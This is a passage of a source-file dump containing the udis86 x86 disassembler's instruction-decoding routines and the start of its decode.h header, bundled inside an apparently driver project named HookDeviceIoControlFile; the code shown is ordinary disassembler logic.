u->pfx_opr = 0;\n }\n } else if ( 0xF2 == u->pfx_insn ) {\n if ( ud_itab_list[ ITAB__PFX_SSEF2__0F ][ curr ].mnemonic != UD_Iinvalid ) {\n table = ITAB__PFX_SSEF2__0F; \n u->pfx_repne = 0;\n }\n } else if ( 0xF3 == u->pfx_insn ) {\n if ( ud_itab_list[ ITAB__PFX_SSEF3__0F ][ curr ].mnemonic != UD_Iinvalid ) {\n table = ITAB__PFX_SSEF3__0F;\n u->pfx_repe = 0;\n u->pfx_rep = 0;\n }\n }\n /* pick an instruction from the 1byte table */\n } else {\n table = ITAB__1BYTE; \n }\n\n index = curr;\n\nsearch:\n\n e = & ud_itab_list[ table ][ index ];\n\n /* if mnemonic constant is a standard instruction constant\n * our search is over.\n */\n \n if ( e->mnemonic < UD_Id3vil ) {\n if ( e->mnemonic == UD_Iinvalid ) {\n if ( did_peek ) {\n inp_next( u ); if ( u->error ) return -1;\n }\n goto found_entry;\n }\n goto found_entry;\n }\n\n table = e->prefix;\n\n switch ( e->mnemonic )\n {\n case UD_Igrp_reg:\n peek = inp_peek( u );\n did_peek = 1;\n index = MODRM_REG( peek );\n break;\n\n case UD_Igrp_mod:\n peek = inp_peek( u );\n did_peek = 1;\n index = MODRM_MOD( peek );\n if ( index == 3 )\n index = ITAB__MOD_INDX__11;\n else \n index = ITAB__MOD_INDX__NOT_11; \n break;\n\n case UD_Igrp_rm:\n curr = inp_next( u );\n did_peek = 0;\n if ( u->error )\n return -1;\n index = MODRM_RM( curr );\n break;\n\n case UD_Igrp_x87:\n curr = inp_next( u );\n did_peek = 0;\n if ( u->error )\n return -1;\n index = curr - 0xC0;\n break;\n\n case UD_Igrp_osize:\n if ( u->opr_mode == 64 ) \n index = ITAB__MODE_INDX__64;\n else if ( u->opr_mode == 32 ) \n index = ITAB__MODE_INDX__32;\n else\n index = ITAB__MODE_INDX__16;\n break;\n \n case UD_Igrp_asize:\n if ( u->adr_mode == 64 ) \n index = ITAB__MODE_INDX__64;\n else if ( u->adr_mode == 32 ) \n index = ITAB__MODE_INDX__32;\n else\n index = ITAB__MODE_INDX__16;\n break; \n\n case UD_Igrp_mode:\n if ( u->dis_mode == 64 ) \n index = ITAB__MODE_INDX__64;\n else if ( u->dis_mode == 32 ) \n index = ITAB__MODE_INDX__32;\n else\n index = ITAB__MODE_INDX__16;\n break;\n\n case UD_Igrp_vendor:\n if ( u->vendor == UD_VENDOR_INTEL ) \n index = ITAB__VENDOR_INDX__INTEL; \n else if ( u->vendor == UD_VENDOR_AMD )\n index = ITAB__VENDOR_INDX__AMD;\n else\n assert( !\"unrecognized vendor id\" );\n break;\n\n case UD_Id3vil:\n assert( !\"invalid instruction mnemonic constant Id3vil\" );\n break;\n\n default:\n assert( !\"invalid instruction mnemonic constant\" );\n break;\n }\n\n goto search;\n\nfound_entry:\n\n u->itab_entry = e;\n u->mnemonic = u->itab_entry->mnemonic;\n\n return 0;\n}\n\n\nstatic unsigned int resolve_operand_size( const struct ud * u, unsigned int s )\n{\n switch ( s ) \n {\n case SZ_V:\n return ( u->opr_mode );\n case SZ_Z: \n return ( u->opr_mode == 16 ) ? 16 : 32;\n case SZ_P: \n return ( u->opr_mode == 16 ) ? SZ_WP : SZ_DP;\n case SZ_MDQ:\n return ( u->opr_mode == 16 ) ? 32 : u->opr_mode;\n case SZ_RDQ:\n return ( u->dis_mode == 64 ) ? 64 : 32;\n default:\n return s;\n }\n}\n\n\nstatic int resolve_mnemonic( struct ud* u )\n{\n /* far/near flags */\n u->br_far = 0;\n u->br_near = 0;\n /* readjust operand sizes for call/jmp instrcutions */\n if ( u->mnemonic == UD_Icall || u->mnemonic == UD_Ijmp ) {\n /* WP: 16bit pointer */\n if ( u->operand[ 0 ].size == SZ_WP ) {\n u->operand[ 0 ].size = 16;\n u->br_far = 1;\n u->br_near= 0;\n /* DP: 32bit pointer */\n } else if ( u->operand[ 0 ].size == SZ_DP ) {\n u->operand[ 0 ].size = 32;\n u->br_far = 1;\n u->br_near= 0;\n } else {\n u->br_far = 0;\n u->br_near= 1;\n }\n /* resolve 3dnow weirdness. */\n } else if ( u->mnemonic == UD_I3dnow ) {\n u->mnemonic = ud_itab_list[ ITAB__3DNOW ][ inp_curr( u ) ].mnemonic;\n }\n /* SWAPGS is only valid in 64bits mode */\n if ( u->mnemonic == UD_Iswapgs && u->dis_mode != 64 ) {\n u->error = 1;\n return -1;\n }\n\n return 0;\n}\n\n\n/* -----------------------------------------------------------------------------\n * decode_a()- Decodes operands of the type seg:offset\n * -----------------------------------------------------------------------------\n */\nstatic void \ndecode_a(struct ud* u, struct ud_operand *op)\n{\n if (u->opr_mode == 16) { \n /* seg16:off16 */\n op->type = UD_OP_PTR;\n op->size = 32;\n op->lval.ptr.off = inp_uint16(u);\n op->lval.ptr.seg = inp_uint16(u);\n } else {\n /* seg16:off32 */\n op->type = UD_OP_PTR;\n op->size = 48;\n op->lval.ptr.off = inp_uint32(u);\n op->lval.ptr.seg = inp_uint16(u);\n }\n}\n\n/* -----------------------------------------------------------------------------\n * decode_gpr() - Returns decoded General Purpose Register \n * -----------------------------------------------------------------------------\n */\nstatic enum ud_type \ndecode_gpr(register struct ud* u, unsigned int s, unsigned char rm)\n{\n s = resolve_operand_size(u, s);\n \n switch (s) {\n case 64:\n return UD_R_RAX + rm;\n case SZ_DP:\n case 32:\n return UD_R_EAX + rm;\n case SZ_WP:\n case 16:\n return UD_R_AX + rm;\n case 8:\n if (u->dis_mode == 64 && u->pfx_rex) {\n if (rm >= 4)\n return UD_R_SPL + (rm-4);\n return UD_R_AL + rm;\n } else return UD_R_AL + rm;\n default:\n return 0;\n }\n}\n\n/* -----------------------------------------------------------------------------\n * resolve_gpr64() - 64bit General Purpose Register-Selection. \n * -----------------------------------------------------------------------------\n */\nstatic enum ud_type \nresolve_gpr64(struct ud* u, enum ud_operand_code gpr_op)\n{\n if (gpr_op >= OP_rAXr8 && gpr_op <= OP_rDIr15)\n gpr_op = (gpr_op - OP_rAXr8) | (REX_B(u->pfx_rex) << 3); \n else gpr_op = (gpr_op - OP_rAX);\n\n if (u->opr_mode == 16)\n return gpr_op + UD_R_AX;\n if (u->dis_mode == 32 || \n (u->opr_mode == 32 && ! (REX_W(u->pfx_rex) || u->default64))) {\n return gpr_op + UD_R_EAX;\n }\n\n return gpr_op + UD_R_RAX;\n}\n\n/* -----------------------------------------------------------------------------\n * resolve_gpr32 () - 32bit General Purpose Register-Selection. \n * -----------------------------------------------------------------------------\n */\nstatic enum ud_type \nresolve_gpr32(struct ud* u, enum ud_operand_code gpr_op)\n{\n gpr_op = gpr_op - OP_eAX;\n\n if (u->opr_mode == 16) \n return gpr_op + UD_R_AX;\n\n return gpr_op + UD_R_EAX;\n}\n\n/* -----------------------------------------------------------------------------\n * resolve_reg() - Resolves the register type \n * -----------------------------------------------------------------------------\n */\nstatic enum ud_type \nresolve_reg(struct ud* u, unsigned int type, unsigned char i)\n{\n switch (type) {\n case T_MMX : return UD_R_MM0 + (i & 7);\n case T_XMM : return UD_R_XMM0 + i;\n case T_CRG : return UD_R_CR0 + i;\n case T_DBG : return UD_R_DR0 + i;\n case T_SEG : return UD_R_ES + (i & 7);\n case T_NONE:\n default: return UD_NONE;\n }\n}\n\n/* -----------------------------------------------------------------------------\n * decode_imm() - Decodes Immediate values.\n * -----------------------------------------------------------------------------\n */\nstatic void \ndecode_imm(struct ud* u, unsigned int s, struct ud_operand *op)\n{\n op->size = resolve_operand_size(u, s);\n op->type = UD_OP_IMM;\n\n switch (op->size) {\n case 8: op->lval.sbyte = inp_uint8(u); break;\n case 16: op->lval.uword = inp_uint16(u); break;\n case 32: op->lval.udword = inp_uint32(u); break;\n case 64: op->lval.uqword = inp_uint64(u); break;\n default: return;\n }\n}\n\n/* -----------------------------------------------------------------------------\n * decode_modrm() - Decodes ModRM Byte\n * -----------------------------------------------------------------------------\n */\nstatic void \ndecode_modrm(struct ud* u, struct ud_operand *op, unsigned int s, \n unsigned char rm_type, struct ud_operand *opreg, \n unsigned char reg_size, unsigned char reg_type)\n{\n unsigned char mod, rm, reg;\n\n inp_next(u);\n\n /* get mod, r/m and reg fields */\n mod = MODRM_MOD(inp_curr(u));\n rm = (REX_B(u->pfx_rex) << 3) | MODRM_RM(inp_curr(u));\n reg = (REX_R(u->pfx_rex) << 3) | MODRM_REG(inp_curr(u));\n\n op->size = resolve_operand_size(u, s);\n\n /* if mod is 11b, then the UD_R_m specifies a gpr/mmx/sse/control/debug */\n if (mod == 3) {\n op->type = UD_OP_REG;\n if (rm_type == T_GPR)\n op->base = decode_gpr(u, op->size, rm);\n else op->base = resolve_reg(u, rm_type, (REX_B(u->pfx_rex) << 3) | (rm&7));\n } \n /* else its memory addressing */ \n else {\n op->type = UD_OP_MEM;\n\n /* 64bit addressing */\n if (u->adr_mode == 64) {\n\n op->base = UD_R_RAX + rm;\n\n /* get offset type */\n if (mod == 1)\n op->offset = 8;\n else if (mod == 2)\n op->offset = 32;\n else if (mod == 0 && (rm & 7) == 5) { \n op->base = UD_R_RIP;\n op->offset = 32;\n } else op->offset = 0;\n\n /* Scale-Index-Base (SIB) */\n if ((rm & 7) == 4) {\n inp_next(u);\n \n op->scale = (1 << SIB_S(inp_curr(u))) & ~1;\n op->index = UD_R_RAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3));\n op->base = UD_R_RAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3));\n\n /* special conditions for base reference */\n if (op->index == UD_R_RSP) {\n op->index = UD_NONE;\n op->scale = UD_NONE;\n }\n\n if (op->base == UD_R_RBP || op->base == UD_R_R13) {\n if (mod == 0) \n op->base = UD_NONE;\n if (mod == 1)\n op->offset = 8;\n else op->offset = 32;\n }\n }\n } \n\n /* 32-Bit addressing mode */\n else if (u->adr_mode == 32) {\n\n /* get base */\n op->base = UD_R_EAX + rm;\n\n /* get offset type */\n if (mod == 1)\n op->offset = 8;\n else if (mod == 2)\n op->offset = 32;\n else if (mod == 0 && rm == 5) {\n op->base = UD_NONE;\n op->offset = 32;\n } else op->offset = 0;\n\n /* Scale-Index-Base (SIB) */\n if ((rm & 7) == 4) {\n inp_next(u);\n\n op->scale = (1 << SIB_S(inp_curr(u))) & ~1;\n op->index = UD_R_EAX + (SIB_I(inp_curr(u)) | (REX_X(u->pfx_rex) << 3));\n op->base = UD_R_EAX + (SIB_B(inp_curr(u)) | (REX_B(u->pfx_rex) << 3));\n\n if (op->index == UD_R_ESP) {\n op->index = UD_NONE;\n op->scale = UD_NONE;\n }\n\n /* special condition for base reference */\n if (op->base == UD_R_EBP) {\n if (mod == 0)\n op->base = UD_NONE;\n if (mod == 1)\n op->offset = 8;\n else op->offset = 32;\n }\n }\n } \n\n /* 16bit addressing mode */\n else {\n switch (rm) {\n case 0: op->base = UD_R_BX; op->index = UD_R_SI; break;\n case 1: op->base = UD_R_BX; op->index = UD_R_DI; break;\n case 2: op->base = UD_R_BP; op->index = UD_R_SI; break;\n case 3: op->base = UD_R_BP; op->index = UD_R_DI; break;\n case 4: op->base = UD_R_SI; break;\n case 5: op->base = UD_R_DI; break;\n case 6: op->base = UD_R_BP; break;\n case 7: op->base = UD_R_BX; break;\n }\n\n if (mod == 0 && rm == 6) {\n op->offset= 16;\n op->base = UD_NONE;\n }\n else if (mod == 1)\n op->offset = 8;\n else if (mod == 2) \n op->offset = 16;\n }\n } \n\n /* extract offset, if any */\n switch(op->offset) {\n case 8 : op->lval.ubyte = inp_uint8(u); break;\n case 16: op->lval.uword = inp_uint16(u); break;\n case 32: op->lval.udword = inp_uint32(u); break;\n case 64: op->lval.uqword = inp_uint64(u); break;\n default: break;\n }\n\n /* resolve register encoded in reg field */\n if (opreg) {\n opreg->type = UD_OP_REG;\n opreg->size = resolve_operand_size(u, reg_size);\n if (reg_type == T_GPR) \n opreg->base = decode_gpr(u, opreg->size, reg);\n else opreg->base = resolve_reg(u, reg_type, reg);\n }\n}\n\n/* -----------------------------------------------------------------------------\n * decode_o() - Decodes offset\n * -----------------------------------------------------------------------------\n */\nstatic void \ndecode_o(struct ud* u, unsigned int s, struct ud_operand *op)\n{\n switch (u->adr_mode) {\n case 64:\n op->offset = 64; \n op->lval.uqword = inp_uint64(u); \n break;\n case 32:\n op->offset = 32; \n op->lval.udword = inp_uint32(u); \n break;\n case 16:\n op->offset = 16; \n op->lval.uword = inp_uint16(u); \n break;\n default:\n return;\n }\n op->type = UD_OP_MEM;\n op->size = resolve_operand_size(u, s);\n}\n\n/* -----------------------------------------------------------------------------\n * disasm_operands() - Disassembles Operands.\n * -----------------------------------------------------------------------------\n */\nstatic int disasm_operands(register struct ud* u)\n{\n\n\n /* mopXt = map entry, operand X, type; */\n enum ud_operand_code mop1t = u->itab_entry->operand1.type;\n enum ud_operand_code mop2t = u->itab_entry->operand2.type;\n enum ud_operand_code mop3t = u->itab_entry->operand3.type;\n\n /* mopXs = map entry, operand X, size */\n unsigned int mop1s = u->itab_entry->operand1.size;\n unsigned int mop2s = u->itab_entry->operand2.size;\n unsigned int mop3s = u->itab_entry->operand3.size;\n\n /* iop = instruction operand */\n register struct ud_operand* iop = u->operand;\n \n switch(mop1t) {\n \n case OP_A :\n decode_a(u, &(iop[0]));\n break;\n \n /* M[b] ... */\n case OP_M :\n if (MODRM_MOD(inp_peek(u)) == 3)\n u->error= 1;\n /* E, G/P/V/I/CL/1/S */\n case OP_E :\n if (mop2t == OP_G) {\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_GPR);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n else if (mop3t == OP_CL) {\n iop[2].type = UD_OP_REG;\n iop[2].base = UD_R_CL;\n iop[2].size = 8;\n }\n }\n else if (mop2t == OP_P)\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_MMX);\n else if (mop2t == OP_V)\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_XMM);\n else if (mop2t == OP_S)\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_SEG);\n else {\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, NULL, 0, T_NONE);\n if (mop2t == OP_CL) {\n iop[1].type = UD_OP_REG;\n iop[1].base = UD_R_CL;\n iop[1].size = 8;\n } else if (mop2t == OP_I1) {\n iop[1].type = UD_OP_CONST;\n u->operand[1].lval.udword = 1;\n } else if (mop2t == OP_I) {\n decode_imm(u, mop2s, &(iop[1]));\n }\n }\n break;\n\n /* G, E/PR[,I]/VR */\n case OP_G :\n if (mop2t == OP_M) {\n if (MODRM_MOD(inp_peek(u)) == 3)\n u->error= 1;\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_GPR);\n } else if (mop2t == OP_E) {\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_GPR);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n } else if (mop2t == OP_PR) {\n decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_GPR);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n } else if (mop2t == OP_VR) {\n if (MODRM_MOD(inp_peek(u)) != 3)\n u->error = 1;\n decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_GPR);\n } else if (mop2t == OP_W)\n decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_GPR);\n break;\n\n /* AL..BH, I/O/DX */\n case OP_AL : case OP_CL : case OP_DL : case OP_BL :\n case OP_AH : case OP_CH : case OP_DH : case OP_BH :\n\n iop[0].type = UD_OP_REG;\n iop[0].base = UD_R_AL + (mop1t - OP_AL);\n iop[0].size = 8;\n\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n else if (mop2t == OP_DX) {\n iop[1].type = UD_OP_REG;\n iop[1].base = UD_R_DX;\n iop[1].size = 16;\n }\n else if (mop2t == OP_O)\n decode_o(u, mop2s, &(iop[1]));\n break;\n\n /* rAX[r8]..rDI[r15], I/rAX..rDI/O */\n case OP_rAXr8 : case OP_rCXr9 : case OP_rDXr10 : case OP_rBXr11 :\n case OP_rSPr12: case OP_rBPr13: case OP_rSIr14 : case OP_rDIr15 :\n case OP_rAX : case OP_rCX : case OP_rDX : case OP_rBX :\n case OP_rSP : case OP_rBP : case OP_rSI : case OP_rDI :\n\n iop[0].type = UD_OP_REG;\n iop[0].base = resolve_gpr64(u, mop1t);\n\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n else if (mop2t >= OP_rAX && mop2t <= OP_rDI) {\n iop[1].type = UD_OP_REG;\n iop[1].base = resolve_gpr64(u, mop2t);\n }\n else if (mop2t == OP_O) {\n decode_o(u, mop2s, &(iop[1])); \n iop[0].size = resolve_operand_size(u, mop2s);\n }\n break;\n\n /* AL[r8b]..BH[r15b], I */\n case OP_ALr8b : case OP_CLr9b : case OP_DLr10b : case OP_BLr11b :\n case OP_AHr12b: case OP_CHr13b: case OP_DHr14b : case OP_BHr15b :\n {\n ud_type_t gpr = (mop1t - OP_ALr8b) + UD_R_AL + \n (REX_B(u->pfx_rex) << 3);\n if (UD_R_AH <= gpr && u->pfx_rex)\n gpr = gpr + 4;\n iop[0].type = UD_OP_REG;\n iop[0].base = gpr;\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n break;\n }\n\n /* eAX..eDX, DX/I */\n case OP_eAX : case OP_eCX : case OP_eDX : case OP_eBX :\n case OP_eSP : case OP_eBP : case OP_eSI : case OP_eDI :\n iop[0].type = UD_OP_REG;\n iop[0].base = resolve_gpr32(u, mop1t);\n if (mop2t == OP_DX) {\n iop[1].type = UD_OP_REG;\n iop[1].base = UD_R_DX;\n iop[1].size = 16;\n } else if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n break;\n\n /* ES..GS */\n case OP_ES : case OP_CS : case OP_DS :\n case OP_SS : case OP_FS : case OP_GS :\n\n /* in 64bits mode, only fs and gs are allowed */\n if (u->dis_mode == 64)\n if (mop1t != OP_FS && mop1t != OP_GS)\n u->error= 1;\n iop[0].type = UD_OP_REG;\n iop[0].base = (mop1t - OP_ES) + UD_R_ES;\n iop[0].size = 16;\n\n break;\n\n /* J */\n case OP_J :\n decode_imm(u, mop1s, &(iop[0])); \n iop[0].type = UD_OP_JIMM;\n break ;\n\n /* PR, I */\n case OP_PR:\n if (MODRM_MOD(inp_peek(u)) != 3)\n u->error = 1;\n decode_modrm(u, &(iop[0]), mop1s, T_MMX, NULL, 0, T_NONE);\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n break; \n\n /* VR, I */\n case OP_VR:\n if (MODRM_MOD(inp_peek(u)) != 3)\n u->error = 1;\n decode_modrm(u, &(iop[0]), mop1s, T_XMM, NULL, 0, T_NONE);\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n break; \n\n /* P, Q[,I]/W/E[,I],VR */\n case OP_P :\n if (mop2t == OP_Q) {\n decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_MMX);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n } else if (mop2t == OP_W) {\n decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_MMX);\n } else if (mop2t == OP_VR) {\n if (MODRM_MOD(inp_peek(u)) != 3)\n u->error = 1;\n decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_MMX);\n } else if (mop2t == OP_E) {\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_MMX);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n }\n break;\n\n /* R, C/D */\n case OP_R :\n if (mop2t == OP_C)\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_CRG);\n else if (mop2t == OP_D)\n decode_modrm(u, &(iop[0]), mop1s, T_GPR, &(iop[1]), mop2s, T_DBG);\n break;\n\n /* C, R */\n case OP_C :\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_CRG);\n break;\n\n /* D, R */\n case OP_D :\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_DBG);\n break;\n\n /* Q, P */\n case OP_Q :\n decode_modrm(u, &(iop[0]), mop1s, T_MMX, &(iop[1]), mop2s, T_MMX);\n break;\n\n /* S, E */\n case OP_S :\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_SEG);\n break;\n\n /* W, V */\n case OP_W :\n decode_modrm(u, &(iop[0]), mop1s, T_XMM, &(iop[1]), mop2s, T_XMM);\n break;\n\n /* V, W[,I]/Q/M/E */\n case OP_V :\n if (mop2t == OP_W) {\n /* special cases for movlps and movhps */\n if (MODRM_MOD(inp_peek(u)) == 3) {\n if (u->mnemonic == UD_Imovlps)\n u->mnemonic = UD_Imovhlps;\n else\n if (u->mnemonic == UD_Imovhps)\n u->mnemonic = UD_Imovlhps;\n }\n decode_modrm(u, &(iop[1]), mop2s, T_XMM, &(iop[0]), mop1s, T_XMM);\n if (mop3t == OP_I)\n decode_imm(u, mop3s, &(iop[2]));\n } else if (mop2t == OP_Q)\n decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_XMM);\n else if (mop2t == OP_M) {\n if (MODRM_MOD(inp_peek(u)) == 3)\n u->error= 1;\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_XMM);\n } else if (mop2t == OP_E) {\n decode_modrm(u, &(iop[1]), mop2s, T_GPR, &(iop[0]), mop1s, T_XMM);\n } else if (mop2t == OP_PR) {\n decode_modrm(u, &(iop[1]), mop2s, T_MMX, &(iop[0]), mop1s, T_XMM);\n }\n break;\n\n /* DX, eAX/AL */\n case OP_DX :\n iop[0].type = UD_OP_REG;\n iop[0].base = UD_R_DX;\n iop[0].size = 16;\n\n if (mop2t == OP_eAX) {\n iop[1].type = UD_OP_REG; \n iop[1].base = resolve_gpr32(u, mop2t);\n } else if (mop2t == OP_AL) {\n iop[1].type = UD_OP_REG;\n iop[1].base = UD_R_AL;\n iop[1].size = 8;\n }\n\n break;\n\n /* I, I/AL/eAX */\n case OP_I :\n decode_imm(u, mop1s, &(iop[0]));\n if (mop2t == OP_I)\n decode_imm(u, mop2s, &(iop[1]));\n else if (mop2t == OP_AL) {\n iop[1].type = UD_OP_REG;\n iop[1].base = UD_R_AL;\n iop[1].size = 16;\n } else if (mop2t == OP_eAX) {\n iop[1].type = UD_OP_REG; \n iop[1].base = resolve_gpr32(u, mop2t);\n }\n break;\n\n /* O, AL/eAX */\n case OP_O :\n decode_o(u, mop1s, &(iop[0]));\n iop[1].type = UD_OP_REG;\n iop[1].size = resolve_operand_size(u, mop1s);\n if (mop2t == OP_AL)\n iop[1].base = UD_R_AL;\n else if (mop2t == OP_eAX)\n iop[1].base = resolve_gpr32(u, mop2t);\n else if (mop2t == OP_rAX)\n iop[1].base = resolve_gpr64(u, mop2t); \n break;\n\n /* 3 */\n case OP_I3 :\n iop[0].type = UD_OP_CONST;\n iop[0].lval.sbyte = 3;\n break;\n\n /* ST(n), ST(n) */\n case OP_ST0 : case OP_ST1 : case OP_ST2 : case OP_ST3 :\n case OP_ST4 : case OP_ST5 : case OP_ST6 : case OP_ST7 :\n\n iop[0].type = UD_OP_REG;\n iop[0].base = (mop1t-OP_ST0) + UD_R_ST0;\n iop[0].size = 0;\n\n if (mop2t >= OP_ST0 && mop2t <= OP_ST7) {\n iop[1].type = UD_OP_REG;\n iop[1].base = (mop2t-OP_ST0) + UD_R_ST0;\n iop[1].size = 0;\n }\n break;\n\n /* AX */\n case OP_AX:\n iop[0].type = UD_OP_REG;\n iop[0].base = UD_R_AX;\n iop[0].size = 16;\n break;\n\n /* none */\n default :\n iop[0].type = iop[1].type = iop[2].type = UD_NONE;\n }\n\n return 0;\n}\n\n/* -----------------------------------------------------------------------------\n * clear_insn() - clear instruction pointer \n * -----------------------------------------------------------------------------\n */\nstatic int clear_insn(register struct ud* u)\n{\n u->error = 0;\n u->pfx_seg = 0;\n u->pfx_opr = 0;\n u->pfx_adr = 0;\n u->pfx_lock = 0;\n u->pfx_repne = 0;\n u->pfx_rep = 0;\n u->pfx_repe = 0;\n u->pfx_seg = 0;\n u->pfx_rex = 0;\n u->pfx_insn = 0;\n u->mnemonic = UD_Inone;\n u->itab_entry = NULL;\n\n memset( &u->operand[ 0 ], 0, sizeof( struct ud_operand ) );\n memset( &u->operand[ 1 ], 0, sizeof( struct ud_operand ) );\n memset( &u->operand[ 2 ], 0, sizeof( struct ud_operand ) );\n \n return 0;\n}\n\nstatic int do_mode( struct ud* u )\n{\n /* if in error state, bail out */\n if ( u->error ) return -1; \n\n /* propagate perfix effects */\n if ( u->dis_mode == 64 ) { /* set 64bit-mode flags */\n\n /* Check validity of instruction m64 */\n if ( P_INV64( u->itab_entry->prefix ) ) {\n u->error = 1;\n return -1;\n }\n\n /* effective rex prefix is the effective mask for the \n * instruction hard-coded in the opcode map.\n */\n u->pfx_rex = ( u->pfx_rex & 0x40 ) | \n ( u->pfx_rex & REX_PFX_MASK( u->itab_entry->prefix ) ); \n\n /* whether this instruction has a default operand size of \n * 64bit, also hardcoded into the opcode map.\n */\n u->default64 = P_DEF64( u->itab_entry->prefix ); \n /* calculate effective operand size */\n if ( REX_W( u->pfx_rex ) ) {\n u->opr_mode = 64;\n } else if ( u->pfx_opr ) {\n u->opr_mode = 16;\n } else {\n /* unless the default opr size of instruction is 64,\n * the effective operand size in the absence of rex.w\n * prefix is 32.\n */\n u->opr_mode = ( u->default64 ) ? 64 : 32;\n }\n\n /* calculate effective address size */\n u->adr_mode = (u->pfx_adr) ? 32 : 64;\n } else if ( u->dis_mode == 32 ) { /* set 32bit-mode flags */\n u->opr_mode = ( u->pfx_opr ) ? 16 : 32;\n u->adr_mode = ( u->pfx_adr ) ? 16 : 32;\n } else if ( u->dis_mode == 16 ) { /* set 16bit-mode flags */\n u->opr_mode = ( u->pfx_opr ) ? 32 : 16;\n u->adr_mode = ( u->pfx_adr ) ? 32 : 16;\n }\n\n /* These flags determine which operand to apply the operand size\n * cast to.\n */\n u->c1 = ( P_C1( u->itab_entry->prefix ) ) ? 1 : 0;\n u->c2 = ( P_C2( u->itab_entry->prefix ) ) ? 1 : 0;\n u->c3 = ( P_C3( u->itab_entry->prefix ) ) ? 1 : 0;\n\n /* set flags for implicit addressing */\n u->implicit_addr = P_IMPADDR( u->itab_entry->prefix );\n\n return 0;\n}\n\nstatic int gen_hex( struct ud *u )\n{\n unsigned int i;\n unsigned char *src_ptr = inp_sess( u );\n char* src_hex;\n\n /* bail out if in error stat. */\n if ( u->error ) return -1; \n /* output buffer pointe */\n src_hex = ( char* ) u->insn_hexcode;\n /* for each byte used to decode instruction */\n for ( i = 0; i < u->inp_ctr; ++i, ++src_ptr) {\n //sprintf( src_hex, \"%02x\", *src_ptr & 0xFF );\n src_hex += 2;\n }\n return 0;\n}\n\n/* =============================================================================\n * ud_decode() - Instruction decoder. Returns the number of bytes decoded.\n * =============================================================================\n */\nunsigned int ud_decode( struct ud* u )\n{\n inp_start(u);\n\n if ( clear_insn( u ) ) {\n ; /* error */\n } else if ( get_prefixes( u ) != 0 ) {\n ; /* error */\n } else if ( search_itab( u ) != 0 ) {\n ; /* error */\n } else if ( do_mode( u ) != 0 ) {\n ; /* error */\n } else if ( disasm_operands( u ) != 0 ) {\n ; /* error */\n } else if ( resolve_mnemonic( u ) != 0 ) {\n ; /* error */\n }\n\n /* Handle decode error. */\n if ( u->error ) {\n /* clear out the decode data. */\n clear_insn( u );\n /* mark the sequence of bytes as invalid. */\n u->itab_entry = & ie_invalid;\n u->mnemonic = u->itab_entry->mnemonic;\n } \n\n u->insn_offset = u->pc; /* set offset of instruction */\n u->insn_fill = 0; /* set translation buffer index to 0 */\n u->pc += u->inp_ctr; /* move program counter by bytes decoded */\n gen_hex( u ); /* generate hex code */\n\n /* return number of bytes disassembled. */\n return u->inp_ctr;\n}\n\n/* vim:cindent\n * vim:ts=4\n * vim:sw=4\n * vim:expandtab\n */\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/decode.h", "content": "#ifndef UD_DECODE_H\n#define UD_DECODE_H\n\n#define MAX_INSN_LENGTH 15\n\n/* register classes */\n#define T_NONE 0\n#define T_GPR 1\n#define T_MMX 2\n#define T_CRG 3\n#define T_DBG 4\n#define T_SEG 5\n#define T_XMM 6\n\n/* itab prefix bits */\n#define P_none ( 0 )\n#define P_c1 ( 1 << 0 )\n#define P_C1(n) ( ( n >> 0 ) & 1 )\n#define P_rexb ( 1 << 1 )\n#define P_REXB(n) ( ( n >> 1 ) & 1 )\n#define P_depM ( 1 << 2 )\n#define P_DEPM(n) ( ( n >> 2 ) & 1 )\n#define P_c3 ( 1 << 3 )\n#define P_C3(n) ( ( n >> 3 ) & 1 )\n#define P_inv64 ( 1 << 4 )\n#define P_INV64(n) ( ( n >> 4 ) & 1 )\n#define P_rexw ( 1 << 5 )\n#define P_REXW(n) ( ( n >> 5 ) & 1 )\n#define P_c2 ( 1 << 6 )\n#define P_C2(n) ( ( n >> 6 ) & 1 )\n#define P_def64 ( 1 << 7 )\n#define P_DEF64(n) ( ( n >> 7 ) & 1 )\n#define P_rexr ( 1 << 8 )\n#define P_REXR(n) ( ( n >> 8 ) & 